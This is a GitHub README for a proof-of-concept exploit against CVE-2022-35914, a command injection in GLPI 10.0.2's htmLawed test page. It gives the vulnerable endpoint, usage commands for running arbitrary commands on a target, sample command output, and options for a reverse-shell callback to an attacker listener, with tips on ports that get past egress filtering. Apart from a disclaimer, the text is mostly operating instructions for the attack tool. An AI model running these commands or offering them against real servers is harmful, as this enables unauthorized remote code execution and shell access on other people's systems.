cyb3rk0ala/cve-2022-35914-rcePoC exploit for CVE-2022-35914 — GLPI v.10.0.2 htmLawed command injection, command execution, and reverse shell support.
PoC for CVE-2022-35914, a command-injection vulnerability involving the htmLawed test component in vulnerable GLPI installations.
The tool provides command execution through the vulnerable endpoint and includes optional callback functionality for authorized lab environments.
Disclaimer: This project is intended for authorized security testing, CTFs, OffSec/PG labs, and educational purposes only. Do not use it against systems without explicit authorization.
| Field | Details |
|---|
| CVE | CVE-2022-35914 |
| Software | GLPI v.10.0.2 |
| Component | htmLawed |
| Vulnerable endpoint | /vendor/htmlawed/htmlawed/htmLawedTest.php |
The vulnerable component can allow command execution through crafted parameters on affected installations.
Python 3 and the required dependencies.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
Clone the repository:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
Make the script executable:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
Example output:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
The -c option specifies the command to execute.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| Option | Description | Default |
|---|---|---|
-u, --url | Target URL or IP address | Required |
-c, --cmd | Command to execute | id |
--check | Check the target without executing a command | Disabled |
--user-agent | Custom HTTP User-Agent | Default |
-p, --rport | Target HTTP service port | 80 |
-l, --lhost | Callback/listener IP address | — |
-lp, --lport | Callback/listener port | — |
The -p / --rport option specifies the port where the vulnerable GLPI web service is running.
Default:
80
Example:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
Use --check to verify that the htmLawed test page is available without executing a command:
python3 glpi.py -u TARGET_IP --check
A custom HTTP User-Agent can be supplied with:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
The script supports optional callback parameters:
-l Callback/listener IP
-lp Callback/listener port
Example:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
In this example:
Target: TARGET_IP:80
Callback: LHOST:80
The two ports have different purposes:
-p = Target GLPI HTTP port
-lp = Callback/listener port
During testing in an OffSec lab environment, the callback successfully worked over TCP port 80.
Other callback ports, such as 4444, may time out depending on the lab network and egress filtering.
For the tested environment:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
The listener was configured on the Kali VPN interface using TCP port 80.
Important: Using port 80 for the callback is an environment-specific observation. It is not a requirement of CVE-2022-35914.
First verify command execution:
python3 glpi.py -u TARGET_IP -c 'id'
Check whether the required utilities exist:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
If command execution works but the callback times out, check the VPN routing and callback port.
If command-output parsing fails, the complete HTTP response is saved to:
/tmp/glpi.html
Inspect it with:
less /tmp/glpi.html
or:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
For the tested OffSec lab environment:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
This project is provided for educational and authorized security-testing purposes only.
The author is not responsible for any misuse, damage, unauthorized access, or illegal activity involving this software.
Always obtain explicit authorization before testing a system.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 by cyb3rk0ala